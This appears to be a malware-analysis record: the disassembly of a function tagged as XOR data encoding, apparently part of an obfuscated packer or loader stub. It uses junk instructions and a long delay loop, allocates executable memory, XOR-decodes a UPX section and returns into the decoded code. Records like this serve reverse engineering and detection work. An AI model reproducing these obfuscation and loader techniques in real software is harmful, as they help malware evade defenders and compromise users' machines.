Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xa0c64fb0
not ebx
or eax, eax
add ebx, 0x216c430b
popal
sub ebx, 0xbbc8dc5c
inc eax
or ebx, eax
mov eax, 0
mov edx, esi
dec ecx
not ecx
not ecx
mov ebx, edx
and ecx, ecx
or ecx, ecx
sub edi, 0xf5c8282c
mov esi, ebx
sub ecx, edi
sub edi, ecx
add eax, 1
mov ecx, 0xca541c08
not edi
cmp eax, 0x10024c8
jne 0x47afd7
or ecx, ecx
not ecx
cmp eax, 0x10024c8
je 0x47b01c
mov eax, 0
mov byte [eax], bl
sub ecx, edi
and ecx, ecx
add ebx, ebx
or ebx, eax
mov eax, 0x47ada2
add edx, ebx
or edx, ebx
sub ebx, 1
mov edi, 0x47af96
add ebx, ecx
not edx
mov esi, dword [eax]
add ebx, 0x748877c1
add edx, 0x906795be
not edx
and esi, 0xff
or ecx, edx
sub ecx, 0xb722539a
or ecx, edx
xor dword [edi], esi
and ecx, ebx
and ecx, edx
add edx, ecx
inc edi
add ecx, 1
add ecx, 0x5a30c7ad
inc eax
or edx, ebx
mov ebx, edx
inc ecx
cmp edi, entry0
jl 0x47b03c
or ebx, ebx
sub ebx, 0xc10fdb9b
sub ecx, edx
mov ecx, edx
mov ebx, edx
mov ecx, esi
sub ecx, 0x148c2ac6
mov edx, 0x47af9a
or ecx, ecx
add ebx, edi
mov edx, dword [edx]
and esi, ebx
add ebx, 0xdc781b72
or ecx, esi
mov edx, dword [edx]
or ecx, ebx
and ecx, edi
sub esp, 4
mov dword [esp], edx
sub ebx, ecx
not edi
sub ebx, ecx
mov edx, 0x47af96
and edi, edi
add esi, ebx
dec edi
mov edx, dword [edx]
add esi, 0x481fca85
add esi, 0xd82d8760
mov edx, dword [edx]
not edi
and ebx, ebx
push 0x47af9e
inc edi
inc ecx
call edx
sub ecx, 0x25b354ea
add edi, ecx
pop edx
or edi, ebx
or ecx, esi
add esi, 0x68d6eb47
sub esp, 4
mov dword [esp], 0x47afab
or esi, edi
sub esi, 1
push eax
sub ecx, edi
not edi
call edx
or ecx, ebx
inc esi
inc ecx
push 0x40
dec edi
not ebx
push 0x3000
sub edi, 0xe6cbd54e
sub ecx, esi
mov esi, 0x4e97c367
push 0x20000705
add ecx, 0x5a8f417f
and ebx, edi
push 0
mov ebx, ecx
sub esi, 0x631d233a
call eax
sub ebx, 0xb3df7e09
sub ebx, esi
add ecx, 1
add eax, 0x20000681
or ebx, esi
sub edi, esi
mov esi, 0x53d391de
mov edx, 0x3b210b1
or ebx, ecx
sub esi, 0xb1e38d5
mov dword [eax], edx
sub ebx, 0x61e47bd7
add ecx, esi
mov edx, dword [eax]
and esi, edi
sub edi, 0x8ed06148
or edi, ecx
cmp edx, 0x3b210b1
je 0x47b19c
mov edx, 0
mov ebx, dword [edx]
mov edi, 0xa7b85697
add ebx, 0xb1103e13
and edi, esi
and esi, ecx
mov ebx, edi
add eax, 0xd684088
add eax, 0xf6ef26f5
add eax, 1
mov esi, section.UPX1
dec eax
and eax, eax
mov ecx, 0x47ada1
and ebx, ebx
inc eax
sub eax, 1
mov edi, 0
sub ebx, 0x209b6d0d
mov eax, ebx
mov edx, 0x47ada2
not ebx
add eax, 0x5ce40a03
sub eax, 0x3b65511f
lea edx, [edx + edi]
or eax, ebx
sub ebx, 0x70fa140a
and eax, eax
mov edx, dword [edx]
mov ebx, eax
add eax, 0xf580474f
inc eax
and edx, 0xff
add ebx, 0xdd064c65
mov ebx, eax
add edi, 1
mov ebx, eax
sub eax, ebx
or eax, eax
cmp edi, 0x1f4
jne 0x47b234
mov edi, 0
add eax, ebx
or eax, eax
add eax, ebx
inc ebx
dec eax
xor dword [esi], edx
sub ebx, eax
mov eax, 0xb32c045d
or ebx, eax
add esi, 2
not ebx
mov eax, ebx
dec eax
cmp esi, ecx
jl 0x47b1e2
or eax, ebx
sub ebx, eax
or eax, eax
or eax, ebx
mov ebx, section.UPX1
inc esi
or esi, esi
mov edi, section.UPX1
inc edx
dec edx
mov eax, 0x47ada1
add esi, 0xaa119052
and edx, esi
mov edx, 0xad483616
mov ecx, 0
sub edx, esi
not esi
mov cl, byte [edi]
mov edx, esi
add edx, 0xc12adac5
add esi, esi
mov byte [ebx], cl
add esi, edx
sub esi, 0x950e4bac
add edx, 0x40e36e04
inc ebx
not edx
dec esi
add edi, 2
mov edx, esi
mov esi, 0xff4e8299
cmp edi, eax
jle 0x47b28c
mov esi, 0x680f4661
add esi, 1
sub ebx, 0x5ed61124
mov eax, 0xdc596a46
push 0x45e6a0
sub eax, 0xc7c17736
sub ebx, 0x5e8abdb
add ebx, eax
ret